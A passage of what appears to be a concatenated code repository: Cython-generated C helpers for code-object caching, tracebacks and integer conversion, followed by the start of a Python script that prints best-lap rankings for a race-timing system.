} Py_XDECREF(owned_metaclass); return result; } /* CodeObjectCache */ static int __pyx_bisect_code_objects(__Pyx_CodeObjectCacheEntry* entries, int count, int code_line) { int start = 0, mid = 0, end = count - 1; if (end >= 0 && code_line > entries[end].code_line) { return count; } while (start < end) { mid = start + (end - start) / 2; if (code_line < entries[mid].code_line) { end = mid; } else if (code_line > entries[mid].code_line) { start = mid + 1; } else { return mid; } } if (code_line <= entries[mid].code_line) { return mid; } else { return mid + 1; } } static PyCodeObject *__pyx_find_code_object(int code_line) { PyCodeObject* code_object; int pos; if (unlikely(!code_line) || unlikely(!__pyx_code_cache.entries)) { return NULL; } pos = __pyx_bisect_code_objects(__pyx_code_cache.entries, __pyx_code_cache.count, code_line); if (unlikely(pos >= __pyx_code_cache.count) || unlikely(__pyx_code_cache.entries[pos].code_line != code_line)) { return NULL; } code_object = __pyx_code_cache.entries[pos].code_object; Py_INCREF(code_object); return code_object; } static void __pyx_insert_code_object(int code_line, PyCodeObject* code_object) { int pos, i; __Pyx_CodeObjectCacheEntry* entries = __pyx_code_cache.entries; if (unlikely(!code_line)) { return; } if (unlikely(!entries)) { entries = (__Pyx_CodeObjectCacheEntry*)PyMem_Malloc(64*sizeof(__Pyx_CodeObjectCacheEntry)); if (likely(entries)) { __pyx_code_cache.entries = entries; __pyx_code_cache.max_count = 64; __pyx_code_cache.count = 1; entries[0].code_line = code_line; entries[0].code_object = code_object; Py_INCREF(code_object); } return; } pos = __pyx_bisect_code_objects(__pyx_code_cache.entries, __pyx_code_cache.count, code_line); if ((pos < __pyx_code_cache.count) && unlikely(__pyx_code_cache.entries[pos].code_line == code_line)) { PyCodeObject* tmp = entries[pos].code_object; entries[pos].code_object = code_object; Py_DECREF(tmp); return; } if (__pyx_code_cache.count == __pyx_code_cache.max_count) { int new_max = __pyx_code_cache.max_count + 64; entries = (__Pyx_CodeObjectCacheEntry*)PyMem_Realloc( __pyx_code_cache.entries, (size_t)new_max*sizeof(__Pyx_CodeObjectCacheEntry)); if (unlikely(!entries)) { return; } __pyx_code_cache.entries = entries; __pyx_code_cache.max_count = new_max; } for (i=__pyx_code_cache.count; i>pos; i--) { entries[i] = entries[i-1]; } entries[pos].code_line = code_line; entries[pos].code_object = code_object; __pyx_code_cache.count++; Py_INCREF(code_object); } /* AddTraceback */ #include "compile.h" #include "frameobject.h" #include "traceback.h" static PyCodeObject* __Pyx_CreateCodeObjectForTraceback( const char *funcname, int c_line, int py_line, const char *filename) { PyCodeObject *py_code = 0; PyObject *py_srcfile = 0; PyObject *py_funcname = 0; #if PY_MAJOR_VERSION < 3 py_srcfile = PyString_FromString(filename); #else py_srcfile = PyUnicode_FromString(filename); #endif if (!py_srcfile) goto bad; if (c_line) { #if PY_MAJOR_VERSION < 3 py_funcname = PyString_FromFormat( "%s (%s:%d)", funcname, __pyx_cfilenm, c_line); #else py_funcname = PyUnicode_FromFormat( "%s (%s:%d)", funcname, __pyx_cfilenm, c_line); #endif } else { #if PY_MAJOR_VERSION < 3 py_funcname = PyString_FromString(funcname); #else py_funcname = PyUnicode_FromString(funcname); #endif } if (!py_funcname) goto bad; py_code = __Pyx_PyCode_New( 0, 0, 0, 0, 0, __pyx_empty_bytes, /*PyObject *code,*/ __pyx_empty_tuple, /*PyObject *consts,*/ __pyx_empty_tuple, /*PyObject *names,*/ __pyx_empty_tuple, /*PyObject *varnames,*/ __pyx_empty_tuple, /*PyObject *freevars,*/ __pyx_empty_tuple, /*PyObject *cellvars,*/ py_srcfile, /*PyObject *filename,*/ py_funcname, /*PyObject *name,*/ py_line, __pyx_empty_bytes /*PyObject *lnotab*/ ); Py_DECREF(py_srcfile); Py_DECREF(py_funcname); return py_code; bad: Py_XDECREF(py_srcfile); Py_XDECREF(py_funcname); return NULL; } static void __Pyx_AddTraceback(const char *funcname, int c_line, int py_line, const char *filename) { PyCodeObject *py_code = 0; PyFrameObject *py_frame = 0; py_code = __pyx_find_code_object(c_line ? c_line : py_line); if (!py_code) { py_code = __Pyx_CreateCodeObjectForTraceback( funcname, c_line, py_line, filename); if (!py_code) goto bad; __pyx_insert_code_object(c_line ? c_line : py_line, py_code); } py_frame = PyFrame_New( PyThreadState_GET(), /*PyThreadState *tstate,*/ py_code, /*PyCodeObject *code,*/ __pyx_d, /*PyObject *globals,*/ 0 /*PyObject *locals*/ ); if (!py_frame) goto bad; __Pyx_PyFrame_SetLineNumber(py_frame, py_line); PyTraceBack_Here(py_frame); bad: Py_XDECREF(py_code); Py_XDECREF(py_frame); } /* CIntToPy */ static CYTHON_INLINE PyObject* __Pyx_PyInt_From_long(long value) { const long neg_one = (long) -1, const_zero = (long) 0; const int is_unsigned = neg_one > const_zero; if (is_unsigned) { if (sizeof(long) < sizeof(long)) { return PyInt_FromLong((long) value); } else if (sizeof(long) <= sizeof(unsigned long)) { return PyLong_FromUnsignedLong((unsigned long) value); #ifdef HAVE_LONG_LONG } else if (sizeof(long) <= sizeof(unsigned PY_LONG_LONG)) { return PyLong_FromUnsignedLongLong((unsigned PY_LONG_LONG) value); #endif } } else { if (sizeof(long) <= sizeof(long)) { return PyInt_FromLong((long) value); #ifdef HAVE_LONG_LONG } else if (sizeof(long) <= sizeof(PY_LONG_LONG)) { return PyLong_FromLongLong((PY_LONG_LONG) value); #endif } } { int one = 1; int little = (int)*(unsigned char *)&one; unsigned char *bytes = (unsigned char *)&value; return _PyLong_FromByteArray(bytes, sizeof(long), little, !is_unsigned); } } /* CIntFromPyVerify */ #define __PYX_VERIFY_RETURN_INT(target_type, func_type, func_value)\ __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, 0) #define __PYX_VERIFY_RETURN_INT_EXC(target_type, func_type, func_value)\ __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, 1) #define __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, exc)\ {\ func_type value = func_value;\ if (sizeof(target_type) < sizeof(func_type)) {\ if (unlikely(value != (func_type) (target_type) value)) {\ func_type zero = 0;\ if (exc && unlikely(value == (func_type)-1 && PyErr_Occurred()))\ return (target_type) -1;\ if (is_unsigned && unlikely(value < zero))\ goto raise_neg_overflow;\ else\ goto raise_overflow;\ }\ }\ return (target_type) value;\ } /* CIntFromPy */ static CYTHON_INLINE long __Pyx_PyInt_As_long(PyObject *x) { const long neg_one = (long) -1, const_zero = (long) 0; const int is_unsigned = neg_one > const_zero; #if PY_MAJOR_VERSION < 3 if (likely(PyInt_Check(x))) { if (sizeof(long) < sizeof(long)) { __PYX_VERIFY_RETURN_INT(long, long, PyInt_AS_LONG(x)) } else { long val = PyInt_AS_LONG(x); if (is_unsigned && unlikely(val < 0)) { goto raise_neg_overflow; } return (long) val; } } else #endif if (likely(PyLong_Check(x))) { if (is_unsigned) { #if CYTHON_USE_PYLONG_INTERNALS const digit* digits = ((PyLongObject*)x)->ob_digit; switch (Py_SIZE(x)) { case 0: return (long) 0; case 1: __PYX_VERIFY_RETURN_INT(long, digit, digits[0]) case 2: if (8 * sizeof(long) > 1 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) >= 2 * PyLong_SHIFT) { return (long) (((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); } } break; case 3: if (8 * sizeof(long) > 2 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) >= 3 * PyLong_SHIFT) { return (long) (((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); } } break; case 4: if (8 * sizeof(long) > 3 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) >= 4 * PyLong_SHIFT) { return (long) (((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); } } break; } #endif #if CYTHON_COMPILING_IN_CPYTHON if (unlikely(Py_SIZE(x) < 0)) { goto raise_neg_overflow; } #else { int result = PyObject_RichCompareBool(x, Py_False, Py_LT); if (unlikely(result < 0)) return (long) -1; if (unlikely(result == 1)) goto raise_neg_overflow; } #endif if (sizeof(long) <= sizeof(unsigned long)) { __PYX_VERIFY_RETURN_INT_EXC(long, unsigned long, PyLong_AsUnsignedLong(x)) #ifdef HAVE_LONG_LONG } else if (sizeof(long) <= sizeof(unsigned PY_LONG_LONG)) { __PYX_VERIFY_RETURN_INT_EXC(long, unsigned PY_LONG_LONG, PyLong_AsUnsignedLongLong(x)) #endif } } else { #if CYTHON_USE_PYLONG_INTERNALS const digit* digits = ((PyLongObject*)x)->ob_digit; switch (Py_SIZE(x)) { case 0: return (long) 0; case -1: __PYX_VERIFY_RETURN_INT(long, sdigit, (sdigit) (-(sdigit)digits[0])) case 1: __PYX_VERIFY_RETURN_INT(long, digit, +digits[0]) case -2: if (8 * sizeof(long) - 1 > 1 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { return (long) (((long)-1)*(((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); } } break; case 2: if (8 * sizeof(long) > 1 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { return (long) ((((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); } } break; case -3: if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { return (long) (((long)-1)*(((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); } } break; case 3: if (8 * sizeof(long) > 2 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { return (long) ((((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); } } break; case -4: if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) { return (long) (((long)-1)*(((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); } } break; case 4: if (8 * sizeof(long) > 3 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) { return (long) ((((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); } } break; } #endif if (sizeof(long) <= sizeof(long)) { __PYX_VERIFY_RETURN_INT_EXC(long, long, PyLong_AsLong(x)) #ifdef HAVE_LONG_LONG } else if (sizeof(long) <= sizeof(PY_LONG_LONG)) { __PYX_VERIFY_RETURN_INT_EXC(long, PY_LONG_LONG, PyLong_AsLongLong(x)) #endif } } { #if CYTHON_COMPILING_IN_PYPY && !defined(_PyLong_AsByteArray) PyErr_SetString(PyExc_RuntimeError, "_PyLong_AsByteArray() not available in PyPy, cannot convert large numbers"); #else long val; PyObject *v = __Pyx_PyNumber_IntOrLong(x); #if PY_MAJOR_VERSION < 3 if (likely(v) && !PyLong_Check(v)) { PyObject *tmp = v; v = PyNumber_Long(tmp); Py_DECREF(tmp); } #endif if (likely(v)) { int one = 1; int is_little = (int)*(unsigned char *)&one; unsigned char *bytes = (unsigned char *)&val; int ret = _PyLong_AsByteArray((PyLongObject *)v, bytes, sizeof(val), is_little, !is_unsigned); Py_DECREF(v); if (likely(!ret)) return val; } #endif return (long) -1; } } else { long val; PyObject *tmp = __Pyx_PyNumber_IntOrLong(x); if (!tmp) return (long) -1; val = __Pyx_PyInt_As_long(tmp); Py_DECREF(tmp); return val; } raise_overflow: PyErr_SetString(PyExc_OverflowError, "value too large to convert to long"); return (long) -1; raise_neg_overflow: PyErr_SetString(PyExc_OverflowError, "can't convert negative value to long"); return (long) -1; } /* CIntFromPy */ static CYTHON_INLINE int __Pyx_PyInt_As_int(PyObject *x) { const int neg_one = (int) -1, const_zero = (int) 0; const int is_unsigned = neg_one > const_zero; #if PY_MAJOR_VERSION < 3 if (likely(PyInt_Check(x))) { if (sizeof(int) < sizeof(long)) { __PYX_VERIFY_RETURN_INT(int, long, PyInt_AS_LONG(x)) } else { long val = PyInt_AS_LONG(x); if (is_unsigned && unlikely(val < 0)) { goto raise_neg_overflow; } return (int) val; } } else #endif if (likely(PyLong_Check(x))) { if (is_unsigned) { #if CYTHON_USE_PYLONG_INTERNALS const digit* digits = ((PyLongObject*)x)->ob_digit; switch (Py_SIZE(x)) { case 0: return (int) 0; case 1: __PYX_VERIFY_RETURN_INT(int, digit, digits[0]) case 2: if (8 * sizeof(int) > 1 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) >= 2 * PyLong_SHIFT) { return (int) (((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); } } break; case 3: if (8 * sizeof(int) > 2 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) >= 3 * PyLong_SHIFT) { return (int) (((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); } } break; case 4: if (8 * sizeof(int) > 3 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) >= 4 * PyLong_SHIFT) { return (int) (((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); } } break; } #endif #if CYTHON_COMPILING_IN_CPYTHON if (unlikely(Py_SIZE(x) < 0)) { goto raise_neg_overflow; } #else { int result = PyObject_RichCompareBool(x, Py_False, Py_LT); if (unlikely(result < 0)) return (int) -1; if (unlikely(result == 1)) goto raise_neg_overflow; } #endif if (sizeof(int) <= sizeof(unsigned long)) { __PYX_VERIFY_RETURN_INT_EXC(int, unsigned long, PyLong_AsUnsignedLong(x)) #ifdef HAVE_LONG_LONG } else if (sizeof(int) <= sizeof(unsigned PY_LONG_LONG)) { __PYX_VERIFY_RETURN_INT_EXC(int, unsigned PY_LONG_LONG, PyLong_AsUnsignedLongLong(x)) #endif } } else { #if CYTHON_USE_PYLONG_INTERNALS const digit* digits = ((PyLongObject*)x)->ob_digit; switch (Py_SIZE(x)) { case 0: return (int) 0; case -1: __PYX_VERIFY_RETURN_INT(int, sdigit, (sdigit) (-(sdigit)digits[0])) case 1: __PYX_VERIFY_RETURN_INT(int, digit, +digits[0]) case -2: if (8 * sizeof(int) - 1 > 1 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) - 1 > 2 * PyLong_SHIFT) { return (int) (((int)-1)*(((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); } } break; case 2: if (8 * sizeof(int) > 1 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) - 1 > 2 * PyLong_SHIFT) { return (int) ((((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); } } break; case -3: if (8 * sizeof(int) - 1 > 2 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) - 1 > 3 * PyLong_SHIFT) { return (int) (((int)-1)*(((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); } } break; case 3: if (8 * sizeof(int) > 2 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) - 1 > 3 * PyLong_SHIFT) { return (int) ((((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); } } break; case -4: if (8 * sizeof(int) - 1 > 3 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) - 1 > 4 * PyLong_SHIFT) { return (int) (((int)-1)*(((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); } } break; case 4: if (8 * sizeof(int) > 3 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) - 1 > 4 * PyLong_SHIFT) { return (int) ((((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); } } break; } #endif if (sizeof(int) <= sizeof(long)) { __PYX_VERIFY_RETURN_INT_EXC(int, long, PyLong_AsLong(x)) #ifdef HAVE_LONG_LONG } else if (sizeof(int) <= sizeof(PY_LONG_LONG)) { __PYX_VERIFY_RETURN_INT_EXC(int, PY_LONG_LONG, PyLong_AsLongLong(x)) #endif } } { #if CYTHON_COMPILING_IN_PYPY && !defined(_PyLong_AsByteArray) PyErr_SetString(PyExc_RuntimeError, "_PyLong_AsByteArray() not available in PyPy, cannot convert large numbers"); #else int val; PyObject *v = __Pyx_PyNumber_IntOrLong(x); #if PY_MAJOR_VERSION < 3 if (likely(v) && !PyLong_Check(v)) { PyObject *tmp = v; v = PyNumber_Long(tmp); Py_DECREF(tmp); } #endif if (likely(v)) { int one = 1; int is_little = (int)*(unsigned char *)&one; unsigned char *bytes = (unsigned char *)&val; int ret = _PyLong_AsByteArray((PyLongObject *)v, bytes, sizeof(val), is_little, !is_unsigned); Py_DECREF(v); if (likely(!ret)) return val; } #endif return (int) -1; } } else { int val; PyObject *tmp = __Pyx_PyNumber_IntOrLong(x); if (!tmp) return (int) -1; val = __Pyx_PyInt_As_int(tmp); Py_DECREF(tmp); return val; } raise_overflow: PyErr_SetString(PyExc_OverflowError, "value too large to convert to int"); return (int) -1; raise_neg_overflow: PyErr_SetString(PyExc_OverflowError, "can't convert negative value to int"); return (int) -1; } /* CheckBinaryVersion */ static int __Pyx_check_binary_version(void) { char ctversion[4], rtversion[4]; PyOS_snprintf(ctversion, 4, "%d.%d", PY_MAJOR_VERSION, PY_MINOR_VERSION); PyOS_snprintf(rtversion, 4, "%s", Py_GetVersion()); if (ctversion[0] != rtversion[0] || ctversion[2] != rtversion[2]) { char message[200]; PyOS_snprintf(message, sizeof(message), "compiletime version %s of module '%.100s' " "does not match runtime version %s", ctversion, __Pyx_MODULE_NAME, rtversion); return PyErr_WarnEx(NULL, message, 1); } return 0; } /* InitStrings */ static int __Pyx_InitStrings(__Pyx_StringTabEntry *t) { while (t->p) { #if PY_MAJOR_VERSION < 3 if (t->is_unicode) { *t->p = PyUnicode_DecodeUTF8(t->s, t->n - 1, NULL); } else if (t->intern) { *t->p = PyString_InternFromString(t->s); } else { *t->p = PyString_FromStringAndSize(t->s, t->n - 1); } #else if (t->is_unicode | t->is_str) { if (t->intern) { *t->p = PyUnicode_InternFromString(t->s); } else if (t->encoding) { *t->p = PyUnicode_Decode(t->s, t->n - 1, t->encoding, NULL); } else { *t->p = PyUnicode_FromStringAndSize(t->s, t->n - 1); } } else { *t->p = PyBytes_FromStringAndSize(t->s, t->n - 1); } #endif if (!*t->p) return -1; ++t; } return 0; } static CYTHON_INLINE PyObject* __Pyx_PyUnicode_FromString(const char* c_str) { return __Pyx_PyUnicode_FromStringAndSize(c_str, (Py_ssize_t)strlen(c_str)); } static CYTHON_INLINE char* __Pyx_PyObject_AsString(PyObject* o) { Py_ssize_t ignore; return __Pyx_PyObject_AsStringAndSize(o, &ignore); } static CYTHON_INLINE char* __Pyx_PyObject_AsStringAndSize(PyObject* o, Py_ssize_t *length) { #if CYTHON_COMPILING_IN_CPYTHON && (__PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT) if ( #if PY_MAJOR_VERSION < 3 && __PYX_DEFAULT_STRING_ENCODING_IS_ASCII __Pyx_sys_getdefaultencoding_not_ascii && #endif PyUnicode_Check(o)) { #if PY_VERSION_HEX < 0x03030000 char* defenc_c; PyObject* defenc = _PyUnicode_AsDefaultEncodedString(o, NULL); if (!defenc) return NULL; defenc_c = PyBytes_AS_STRING(defenc); #if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII { char* end = defenc_c + PyBytes_GET_SIZE(defenc); char* c; for (c = defenc_c; c < end; c++) { if ((unsigned char) (*c) >= 128) { PyUnicode_AsASCIIString(o); return NULL; } } } #endif *length = PyBytes_GET_SIZE(defenc); return defenc_c; #else if (__Pyx_PyUnicode_READY(o) == -1) return NULL; #if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII if (PyUnicode_IS_ASCII(o)) { *length = PyUnicode_GET_LENGTH(o); return PyUnicode_AsUTF8(o); } else { PyUnicode_AsASCIIString(o); return NULL; } #else return PyUnicode_AsUTF8AndSize(o, length); #endif #endif } else #endif #if (!CYTHON_COMPILING_IN_PYPY) || (defined(PyByteArray_AS_STRING) && defined(PyByteArray_GET_SIZE)) if (PyByteArray_Check(o)) { *length = PyByteArray_GET_SIZE(o); return PyByteArray_AS_STRING(o); } else #endif { char* result; int r = PyBytes_AsStringAndSize(o, &result, length); if (unlikely(r < 0)) { return NULL; } else { return result; } } } static CYTHON_INLINE int __Pyx_PyObject_IsTrue(PyObject* x) { int is_true = x == Py_True; if (is_true | (x == Py_False) | (x == Py_None)) return is_true; else return PyObject_IsTrue(x); } static CYTHON_INLINE PyObject* __Pyx_PyNumber_IntOrLong(PyObject* x) { #if CYTHON_USE_TYPE_SLOTS PyNumberMethods *m; #endif const char *name = NULL; PyObject *res = NULL; #if PY_MAJOR_VERSION < 3 if (PyInt_Check(x) || PyLong_Check(x)) #else if (PyLong_Check(x)) #endif return __Pyx_NewRef(x); #if CYTHON_USE_TYPE_SLOTS m = Py_TYPE(x)->tp_as_number; #if PY_MAJOR_VERSION < 3 if (m && m->nb_int) { name = "int"; res = PyNumber_Int(x); } else if (m && m->nb_long) { name = "long"; res = PyNumber_Long(x); } #else if (m && m->nb_int) { name = "int"; res = PyNumber_Long(x); } #endif #else res = PyNumber_Int(x); #endif if (res) { #if PY_MAJOR_VERSION < 3 if (!PyInt_Check(res) && !PyLong_Check(res)) { #else if (!PyLong_Check(res)) { #endif PyErr_Format(PyExc_TypeError, "__%.4s__ returned non-%.4s (type %.200s)", name, name, Py_TYPE(res)->tp_name); Py_DECREF(res); return NULL; } } else if (!PyErr_Occurred()) { PyErr_SetString(PyExc_TypeError, "an integer is required"); } return res; } static CYTHON_INLINE Py_ssize_t __Pyx_PyIndex_AsSsize_t(PyObject* b) { Py_ssize_t ival; PyObject *x; #if PY_MAJOR_VERSION < 3 if (likely(PyInt_CheckExact(b))) { if (sizeof(Py_ssize_t) >= sizeof(long)) return PyInt_AS_LONG(b); else return PyInt_AsSsize_t(x); } #endif if (likely(PyLong_CheckExact(b))) { #if CYTHON_USE_PYLONG_INTERNALS const digit* digits = ((PyLongObject*)b)->ob_digit; const Py_ssize_t size = Py_SIZE(b); if (likely(__Pyx_sst_abs(size) <= 1)) { ival = likely(size) ? digits[0] : 0; if (size == -1) ival = -ival; return ival; } else { switch (size) { case 2: if (8 * sizeof(Py_ssize_t) > 2 * PyLong_SHIFT) { return (Py_ssize_t) (((((size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); } break; case -2: if (8 * sizeof(Py_ssize_t) > 2 * PyLong_SHIFT) { return -(Py_ssize_t) (((((size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); } break; case 3: if (8 * sizeof(Py_ssize_t) > 3 * PyLong_SHIFT) { return (Py_ssize_t) (((((((size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); } break; case -3: if (8 * sizeof(Py_ssize_t) > 3 * PyLong_SHIFT) { return -(Py_ssize_t) (((((((size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); } break; case 4: if (8 * sizeof(Py_ssize_t) > 4 * PyLong_SHIFT) { return (Py_ssize_t) (((((((((size_t)digits[3]) << PyLong_SHIFT) | (size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); } break; case -4: if (8 * sizeof(Py_ssize_t) > 4 * PyLong_SHIFT) { return -(Py_ssize_t) (((((((((size_t)digits[3]) << PyLong_SHIFT) | (size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); } break; } } #endif return PyLong_AsSsize_t(b); } x = PyNumber_Index(b); if (!x) return -1; ival = PyInt_AsSsize_t(x); Py_DECREF(x); return ival; } static CYTHON_INLINE PyObject * __Pyx_PyInt_FromSize_t(size_t ival) { return PyInt_FromSize_t(ival); } #endif /* Py_PYTHON_H */ <file_sep>/raceTask.py #!/usr/bin/python ###################################################################################### # (c) <NAME>, <EMAIL>, mars 2018 # ###################################################################################### from Globals import dictBestLap from Globals import dictRace from Globals import createTime import Globals #import socket #import struct #import thread import time # *********************************************************************************************************************** # * displayClassementBestLap( ) # * Display the best lap time # * # * Created: 28.01.2018 <NAME> # * # *********************************************************************************************************************** def displayClassementBestLap(): classement = sorted(dictBestLap.items(), key=lambda t:t[1]) print ('============================================================================================') print ('|{:20s}'.format( "Rider Name") + ' | {:8s}'.format( "Dossard") + " | "+ " Best Lap " + " | "+ " Lap Time " + ' | {:15s}'.format("Transponder" ) + ' | {:3s}'.format("Lap")+ ' |') print ('|=====================|==========|================|================|=================|=====|') for rider in classement: try: color = rider[1]["textcolor"] rider[1]["textcolor"] = Globals.text_normal + Globals.text_black print ( color +'|{:20s}'.format( rider[1]["ridername"]) + ' | {:8d}'.format( 